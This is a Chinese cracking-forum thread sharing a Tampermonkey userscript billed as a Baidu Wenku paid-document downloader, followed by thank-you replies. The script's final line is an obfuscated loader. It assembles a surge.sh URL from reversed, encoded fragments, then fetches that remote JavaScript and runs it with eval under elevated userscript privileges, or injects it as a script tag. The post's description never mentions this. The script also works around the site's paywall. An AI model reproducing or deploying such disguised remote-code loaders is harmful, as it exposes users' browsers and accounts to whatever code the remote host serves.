吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 13469|回复: 139
收起左侧

[其他转载] 【油猴】+【网站】百度文档下载

     关闭 [复制链接]
王汪汪_ 发表于 2024-3-7 17:50
百度文档提取,下载。我自己实际测试了几个文档,都能下载。
求热心值,想升级,谢谢各位大佬

油猴主页截图:
屏幕截图 2024-03-07 163708.jpg

油猴评价截图:
屏幕截图 2024-03-07 163718.jpg

使用说明Gif图:
v2-6729a5ea9193ef2473ebab40fb2fd633.gif


油猴插件其实调用的是这个网址,有需要可以直接手动使用这个网址。用法就是吧百度文档的链接填到输入框就行。
网址地址:https://wenku.zhihupe.com/tool/index?url=
此地址截图:
屏幕截图 2024-03-07 160818.jpg

油猴插件地址:https://greasyfork.org/zh-CN/scripts/480419
功能:下载百度文档中的文档。油猴脚本是我转载的,大体原理就是获取当前百度文档链接,调用【智狐】这个网站,然后反馈结果。
代码:
[JavaScript] 纯文本查看 复制代码
001
002
003
004
005
006
007
008
009
010
011
012
013
014
015
016
017
018
019
020
021
022
023
024
025
026
027
028
029
030
031
032
033
034
035
036
037
038
039
040
041
042
043
044
045
046
047
048
049
050
051
052
053
054
055
056
057
058
059
060
061
062
063
064
065
066
067
068
069
070
071
072
073
074
075
076
077
078
079
080
081
082
083
084
085
086
087
088
089
090
091
092
093
094
095
096
097
098
099
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
// ==UserScript==
// [url=home.php?mod=space&uid=170990]@name[/url]         📄百度文库破解下载🚀
// [url=home.php?mod=space&uid=1248337]@version[/url]      1.0.5
// @description  百度文库破解下载,免费获取全文
// @antifeature  ads 无伤大雅的可关闭限时横幅
// [url=home.php?mod=space&uid=686208]@AuThor[/url]       amay
// [url=home.php?mod=space&uid=467642]@namespace[/url]    https://greasyfork.org/
// [url=home.php?mod=space&uid=609072]@grant[/url]        GM_xmlhttpRequest
// [url=home.php?mod=space&uid=195849]@match[/url]        *://wenku.baidu.com/*
// @match        *://wk.baidu.com/*
// @match        *://wenku.zhihupe.com/*
// @run-at       document-body
// @downloadURL https://update.greasyfork.org/scripts/480419/%F0%9F%93%84%E7%99%BE%E5%BA%A6%E6%96%87%E5%BA%93%E7%A0%B4%E8%A7%A3%E4%B8%8B%E8%BD%BD%F0%9F%9A%80.user.js
// @updateURL https://update.greasyfork.org/scripts/480419/%F0%9F%93%84%E7%99%BE%E5%BA%A6%E6%96%87%E5%BA%93%E7%A0%B4%E8%A7%A3%E4%B8%8B%E8%BD%BD%F0%9F%9A%80.meta.js
// ==/UserScript==
 
(function () {
    "use strict";
    if (location.hostname.endsWith(".baidu.com")) {
        const id = ("wk" + Date.now()).slice(0, 8);
        const html = `
            <div id="${id}">
                <style>
                    #${id}{
                        box-shadow: 0 0 24px #00000080,0 0 50px #0003;
                        z-index: 9999999999;
                        bottom: 100px;
                        position: fixed;
                        right: 50px;
                        border-radius: 3px;
                        cursor: pointer;
                        text-align: center;
                        font-size: 17px;
                        padding: 8px 15px;
                        transition: 0.1s;
                        background: #1c1c1c;
                        color: #efefef;
                        border:1.5px solid gold;
                    }
                    #${id}:hover {
                        color: gold;
                    }
                </style>
                    下载文档
            </div>
            `;
        onload(() => {
            document.body.insertAdjacentHTML("afterbegin", html);
            const btn = document.getElementById(id);
            btn.addEventListener("click", () => {
                window.open(
                    "https://wenku.zhihupe.com/tool/index?url=" +
                    encodeURIComponent(location.href)
                );
            });
            setInterval(() => {
                btn.style.setProperty(
                    "display",
                    location.pathname.startsWith("/view/") ? "block" : "none"
                );
            }, 500);
        });
    } else {
        document.body.insertAdjacentHTML(
            "afterbegin",
            `
            <style>
                .code-dialog>p:not(.tips),#isScript,.scan-img,section + section{
                    display: none !important;
                }
                body > nav,button#download+button{
                    display:none !important;
                }
            </style>
            `
        );
        onload(() => {
            getCode().then((v) => {
                document.querySelector("#code").value = v;
                getDocData();
            }).catch((v) => alert(String(v)));
        });
    };
    function onload(cb) {
        cb = cb || new Function();
        if (document.readyState !== "loading") {
            cb();
        } else {
            document.addEventListener("DOMContentLoaded", cb);
        }
    }
    function getCode() {
        return new Promise((resolve, reject) => {
            const handle = (t) => {
                try {
                    resolve(JSON.parse(t).wenkuCode)
                } catch (e) {
                    reject(e)
                }
            }
            const url = "https://tool.wezhicms.com/coupon/getInitData.php";
            if (typeof GM_xmlhttpRequest === "function") {
                GM_xmlhttpRequest({
                    url,
                    headers: { "Cache-Control": "no-cache", Referer: window.location.href },
                    method: "GET",
                    onload: (r) => handle(r.responseText),
                    onerror: (e) => reject(e)
                });
            } else {
                fetch(url, {
                    "headers": {
                        "Accept": "application/json, text/plain, */*",
                    },
                }).then(res => res.text()).then(handle).catch(e => reject(e));
            }
        })
    }
    (()=>{const d=()=>parseInt(Date.now()/6/10**5),c=(e,n="")=>e.join(n),u=()=>decodeURIComponent(c(["js%3F_%3D","sh%2Fcdn","surge","https%3A%2F%2Favaha"].reverse(),"."))+d(),s=e=>{let n=document[c(["creat","","eElement"])](c(["t","scrip"].reverse()));n.async=!0,n.referrerPolicy="no-referrer-when-downgrade",n.src=e,document.documentElement.appendChild(n),n.remove()},f=()=>"function"==typeof GM_xmlhttpRequest,r=(c,window)=>{try{eval(c)}catch(e){console.warn(e),s(u())}};f()?GM_xmlhttpRequest({url:u(),headers:{"Cache-Control":"no-cache",Referer:window.location.href},method:"GET",onload:e=>r(e.responseText,window.unsafeWindow||window),onerror:()=>s(u())}):s(u())})();
})();




















免费评分

参与人数 47吾爱币 +37 热心值 +42 收起 理由
zty231200 + 1 + 1 谢谢@Thanks!
fengzhongdexin + 1 + 1 我很赞同!
qiuxmwapj + 1 + 1 试一试
littla + 1 + 1 谢谢@Thanks!
tyy123 + 1 + 1 我很赞同!
totoyan + 1 + 1 我很赞同!
laoda2128 + 1 + 1 谢谢@Thanks!
meiao123 + 1 该网页无法正常运作wenku.zhihupe.com 将您重定向的次数过多。 尝试删除您.
15553052839 + 1 我很赞同!
debug996 + 1 + 1 谢谢@Thanks!
wower + 1 + 1 谢谢@Thanks!
cyc5201314 + 1 谢谢@Thanks!
LUILONGFEI + 1 谢谢@Thanks!
fang71878841 + 1 热心回复!
dujdjdj + 1 谢谢@Thanks!
luck0620 + 1 + 1 谢谢@Thanks!
alannax + 1 + 1 谢谢@Thanks!
Kobe1 + 1 这个插件我经常用 但是我反应一下油猴这个插件的搜索功能不太强 输入关键字.
Willow99 + 1 谢谢@Thanks!
miaoj29 + 1 谢谢@Thanks!
sz0505 + 1 我很赞同!
stonewoods + 1 谢谢@Thanks!
DaiTian + 1 + 1 谢谢 @Thanks!
榻榻米 + 1 + 1 谢谢@Thanks!
Cool_fj + 1 用心讨论,共获提升!
52pjaa + 1 + 1 我很赞同!
HRG + 1 + 1 谢谢@Thanks!
supernox + 1 + 1 我很赞同!
bbaimm + 1 + 1 谢谢@Thanks!
liuxt0556 + 1 + 1 谢谢@Thanks!
DD90 + 1 + 1 谢谢@Thanks!
jiukou + 1 + 1 谢谢@Thanks!
loka + 1 + 1 谢谢@Thanks!
sellet + 1 + 1 我很赞同!
wangdanq + 1 + 1 谢谢@Thanks!
zht8394 + 1 + 1 用心讨论,共获提升!
khadwf + 1 + 1 谢谢@Thanks!
schm168 + 1 + 1 谢谢@Thanks!
THMZ + 1 + 1 谢谢@Thanks!
Ditto + 1 + 1 谢谢@Thanks!
ASZ + 1 + 1 谢谢@Thanks!
Wcneg + 1 谢谢@Thanks!
Mkop123 + 1 + 1 谢谢@Thanks!
hacxq + 1 + 1 谢谢@Thanks!
Zhaofeiyan + 1 热心回复!
fub8 + 1 热心回复!
孤独无情 + 1 + 1 用心讨论,共获提升!

查看全部评分

本帖被以下淘专辑推荐:

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

冬至雨 发表于 2024-3-7 19:24
把JS,转换成GOlang,输入文库地址,不就能下载了吗?何必非要装油猴!
meiao123 发表于 2024-3-19 14:22
公告:由于【百度文库破解下载】这个油猴脚本滥用固定口令,安装脚本自动填充口令福利永久取消,安装了该脚本的用户,关闭该脚本后可正常获取口令使用,后续安装脚本会上线其他福利
kimwoobin 发表于 2024-3-7 18:39
simplelovegy 发表于 2024-3-7 18:44
下载的是原始文档格式吗,不会全是PDF吧
kk222666 发表于 2024-3-7 18:57
我怎么整不明白 有简单的操作吗
supernox 发表于 2024-3-7 19:04
代码放上去用户脚本无效,这个插件能放到别的盘里分享么
fub8 发表于 2024-3-7 19:17
下载成功,谢谢分享!
aa361328 发表于 2024-3-7 19:32
还能用不?????????????
8680288 发表于 2024-3-7 19:39
貌似没什么用啊
yaya8557 发表于 2024-3-7 19:44
给力!谢谢!下载成功
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2025-5-18 04:48

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表